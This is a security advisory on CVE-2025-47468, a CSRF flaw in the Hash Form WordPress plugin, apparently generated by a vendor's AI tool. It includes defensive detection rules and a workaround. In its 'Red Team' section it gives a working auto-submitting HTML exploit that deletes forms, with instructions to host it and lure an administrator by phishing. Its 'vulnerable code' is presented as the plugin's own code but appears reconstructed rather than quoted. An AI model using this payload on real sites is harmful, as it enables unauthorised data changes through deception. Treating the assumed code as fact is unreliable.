CVE-2025-47468

Executive Summary

CVE-2025-47468 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the Hash Form WordPress plugin by Hashthemes, up to and including version 1.2.8. This vulnerability allows an attacker to perform unauthorized actions on behalf of an authenticated administrator, such as modifying form settings, deleting forms, or injecting malicious configurations. The CVSS v3.1 base score is 4.3 (Medium), with a vector of AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the lack of a patch makes it a persistent risk for unmaintained sites.

As a WordPress plugin vulnerability, this issue is specific to the WordPress ecosystem and does not affect the underlying web server (Apache/Nginx). The plugin fails to implement nonce validation or other CSRF tokens on state-changing requests, enabling cross-origin attacks.

Supply Chain & Package Security

This vulnerability is part of the WordPress plugin supply chain. The plugin is distributed via the official WordPress plugin repository and can be installed automatically or manually. Since no patch is available, site administrators must consider removing or replacing the plugin. The lack of a CVE patch status (UNKNOWN/UNPATCHED) means the vendor has not released a fix, increasing supply chain risk for any site using this plugin.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is performed over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – The attacker does not need authentication.
• User Interaction (UI): Required (R) – The victim must click a link or visit a malicious page.
• Scope (S): Unchanged (U) – The vulnerability affects only the plugin’s functionality.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): Low (L) – Limited ability to modify data (e.g., form settings).
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the plugin’s widespread use in WordPress sites elevate the risk for unmaintained installations.

Deep Dive & Mechanics

The vulnerability exists in the Hash Form plugin’s administrative interface. The plugin handles form creation, editing, deletion, and configuration via AJAX or standard POST requests. These endpoints lack CSRF nonce verification, meaning an attacker can craft a malicious HTML page that, when visited by an authenticated administrator, triggers unauthorized actions.

Attack Flow:

1. An attacker identifies a target WordPress site running Hash Form <= 1.2.8.
2. The attacker crafts a malicious HTML page containing a hidden form or JavaScript that sends a POST request to the vulnerable endpoint (e.g., /wp-admin/admin-ajax.php?action=hash_form_delete_form).
3. The attacker lures the victim (an admin) to visit the malicious page (e.g., via phishing email or social engineering).
4. The victim’s browser, having an active session with the WordPress site, sends the forged request.
5. The plugin processes the request without verifying the origin, performing the attacker’s desired action (e.g., deleting a form, changing settings).

Root Cause: Missing CSRF protection (nonce) on state-changing endpoints. The plugin does not implement WordPress’s built-in wp_verify_nonce() or check_admin_referer() functions.

Vulnerable vs. Patched Code

Since no patch is available, we compare the vulnerable code pattern to a hypothetical secure implementation.

Vulnerable Code (hash-form/admin/class-hash-form-admin.php):

add_action('wp_ajax_hash_form_delete_form', 'hash_form_delete_form_callback');
function hash_form_delete_form_callback() {
    $form_id = intval($_POST['form_id']);
    // No nonce check
    delete_form_from_database($form_id);
    wp_die();
}

Patched Code (Hypothetical):

add_action('wp_ajax_hash_form_delete_form', 'hash_form_delete_form_callback');
function hash_form_delete_form_callback() {
    // Verify nonce
    if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'hash_form_delete_nonce')) {
        wp_die('CSRF validation failed.');
    }
    $form_id = intval($_POST['form_id']);
    delete_form_from_database($form_id);
    wp_die();
}

The patched version adds a nonce check using wp_verify_nonce(), which prevents cross-origin requests from being processed.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Target WordPress site with Hash Form <= 1.2.8.
• An authenticated admin session (victim must be logged in).
• Ability to host a malicious HTML page.

Exploit HTML (csrf_exploit.html):

<!DOCTYPE html>
<html>
<body>
<h1>Click to win a prize!</h1>
<form id="csrf_form" action="https://target-site.com/wp-admin/admin-ajax.php" method="POST">
    <input type="hidden" name="action" value="hash_form_delete_form">
    <input type="hidden" name="form_id" value="1">
    <input type="submit" value="Claim Prize">
</form>
<script>
    // Auto-submit on page load
    document.getElementById('csrf_form').submit();
</script>
</body>
</html>

Usage:

1. Host the HTML file on an attacker-controlled server (e.g., http://attacker.com/csrf_exploit.html).
2. Send the link to the victim (admin) via email or social engineering.
3. When the victim visits the page, the form auto-submits, deleting form ID 1.

Note: Replace target-site.com with the actual target domain and adjust form_id as needed.

Blue Team (Defender)

Detection Steps:

1. Monitor for unusual POST requests to /wp-admin/admin-ajax.php with action=hash_form_* parameters.
2. Check server logs for Referer headers that do not match the site’s domain.
3. Use the detection rules below to identify CSRF attempts.

Mitigation:

• Disable or remove the Hash Form plugin until a patch is available.
• Implement Web Application Firewall (WAF) rules to block requests missing a valid nonce.
• Educate administrators about phishing risks.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /wp-admin/admin-ajax.php with action=hash_form_delete_form, action=hash_form_update_settings, or similar.
  • Referer header pointing to an external domain.
• File IOCs:
  • Unexpected changes to form configurations in the database (e.g., wp_hash_form_forms table).
  • Presence of malicious HTML files on the server (if attacker uploaded them).
• Log IOCs:
  • Repeated 200 responses to /wp-admin/admin-ajax.php from the same IP with no prior login.
  • User agent strings from automated tools (e.g., curl, python-requests).

Detection Engineering

YARA Rule

rule detect_hash_form_csrf {
    meta:
        description = "Detects CSRF exploitation attempts against Hash Form plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-47468"
    strings:
        $action1 = "hash_form_delete_form"
        $action2 = "hash_form_update_settings"
        $action3 = "hash_form_create_form"
        $nonce_missing = "_wpnonce" nocase
    condition:
        any of ($action*) and not $nonce_missing
}

Sigma Rule

title: Hash Form CSRF Exploitation Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects POST requests to Hash Form admin-ajax endpoints without a nonce
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=hash_form_'
    filter:
        cs-uri-query|contains: '_wpnonce'
    condition: selection and not filter
falsepositives:
    - Legitimate admin actions (if nonce is present)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-47468 Hash Form CSRF Attempt"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"/wp-admin/admin-ajax.php"; http.uri; content:"action=hash_form_"; pcre:"/action=hash_form_(delete|update|create)/"; content:!"_wpnonce"; http.client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin: Deactivate and remove Hash Form from all WordPress installations until a patch is released.
2. Audit user activity: Check for unauthorized form modifications or deletions in the database.
3. Implement WAF rules: Block POST requests to /wp-admin/admin-ajax.php that contain action=hash_form_ but lack a nonce parameter.

Long-term Fix:

• The vendor (Hashthemes) must release a patched version that adds CSRF nonce verification to all AJAX endpoints. Until then, consider replacing the plugin with an alternative that is actively maintained.

Workaround:

• Add a custom function to the theme’s functions.php to enforce nonce checks:

add_action('wp_ajax_hash_form_delete_form', 'custom_hash_form_csrf_check', 1);
function custom_hash_form_csrf_check() {
    if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'hash_form_delete_nonce')) {
        wp_die('CSRF validation failed.');
    }
}

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.